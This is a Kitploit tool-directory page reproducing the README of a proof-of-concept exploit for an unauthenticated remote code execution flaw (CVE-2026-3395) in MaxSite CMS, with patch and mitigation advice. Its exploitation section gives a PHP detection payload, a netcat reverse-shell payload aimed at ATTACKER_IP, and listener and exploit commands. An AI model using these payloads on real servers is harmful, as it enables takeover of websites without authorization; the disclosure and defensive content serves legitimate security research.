Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-3395-MaxSite-CMS-Unauthenticated-RCE — Proof-of-concept exploit for unauthenticated remote code execution in MaxSite CMS <= 109.1 via MarkItUp editor AJAX endpoints, with detection and reverse shell payloads. | Kitploit
Tools/GitHubGitHub/mbanyamer/cve-2026-3395-maxsite-cms-unauthenticated-rce
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed Teaming
GitHubmbanyamer/cve-2026-3395-maxsite-cms-unauthenticated-rce

CVE-2026-3395-MaxSite-CMS-Unauthenticated-RCE

Proof-of-concept exploit for unauthenticated remote code execution in MaxSite CMS <= 109.1 via MarkItUp editor AJAX endpoints, with detection and reverse shell payloads.

View Repository
546 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE‑2026‑3395 — MaxSite CMS Unauthenticated Remote Code Execution

Author Country Instagram GitHub CVE Exploit Type CVSS

Overview

Unauthenticated Remote Code Execution (RCE) vulnerability in MaxSite CMS ≤ 109.1.

The flaw arises from weak authorization checks in the MarkItUp editor plugin’s AJAX endpoints, combined with unsafe execution of user‑supplied PHP code by the run_php plugin.

  • Discovered / Fixed: March 2026
  • Patched in: MaxSite CMS 109.2
  • Vendor: MaxSite CMS
  • Repository: maxsite/cms

Description

The vulnerability affects the following files in the MarkItUp editor plugin:

  • preview-ajax.php
  • autosave-post-ajax.php

These endpoints:

  • Are accessible without authentication
  • Perform only weak referrer validation (easily bypassed)
  • Pass user input to the run_php plugin
  • Execute [php]...[/php] shortcodes using eval()

An attacker can send a crafted POST request to the /ajax/ route containing a Base64‑encoded internal path and malicious PHP payload via the data parameter, resulting in:

🚨 Full Unauthenticated Remote Code Execution


Attack Flow Diagram

root@kitploit:~
graph TD
    A["Attacker"] -->|"Malicious POST Request"| B["AJAX Endpoint"]
    B -->|"Referer Spoofing"| C["preview-ajax.php"]
    C -->|"Unsanitized Input"| D["run_php Plugin"]
    D -->|"eval() Execution"| E["Arbitrary PHP Execution"]
    E -->|"Command Execution"| F["Compromised Server"]

Prerequisites

  • MaxSite CMS version ≤ 109.1
  • run_php plugin enabled (common default)
  • PHP configuration allowing eval()

Exploitation

A Python 3 proof‑of‑concept exploit (exploit.py) is included.

Detection Payload (Non‑Destructive)

root@kitploit:~
[php]echo 'RCE CONFIRMED - ' . phpversion();[/php]

Reverse Shell Payload

root@kitploit:~
[php]system('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP ATTACKER_PORT >/tmp/f');[/php]

Usage

1. Start Listener

root@kitploit:~
nc -lvnp 9001

2. Run Exploit

root@kitploit:~
python3 exploit.py http://target.com --lhost 10.10.14.22 --lport 9001

Mitigation

Immediate Actions

  • Upgrade to MaxSite CMS 109.2 or later
  • Disable the run_php plugin if not required

Manual Patch

Add authentication checks to vulnerable files:

root@kitploit:~
if (!is_login()) {
    die('Access denied');
}
mso_checkreferer();

References

  • Patch Commit https://github.com/maxsite/cms/commit/08937a3c5d672a242d68f53e9fccf8a748820ef3

  • Vulnerability Entry https://vuldb.com/?id.348281

  • NVD Record https://nvd.nist.gov/vuln/detail/CVE-2026-3395


Legal Notice

This project is provided for:

  • Security research
  • Educational purposes
  • Authorized penetration testing

⚠️ Do not use against systems without explicit permission.

The author assumes no responsibility for misuse or damage.


Author

Mohammed Idrees Banyamer Jordan 🇯🇴 Security Researcher

banyamer_security — Silent Hunter • Shadow Presence

March 2026

Download Tool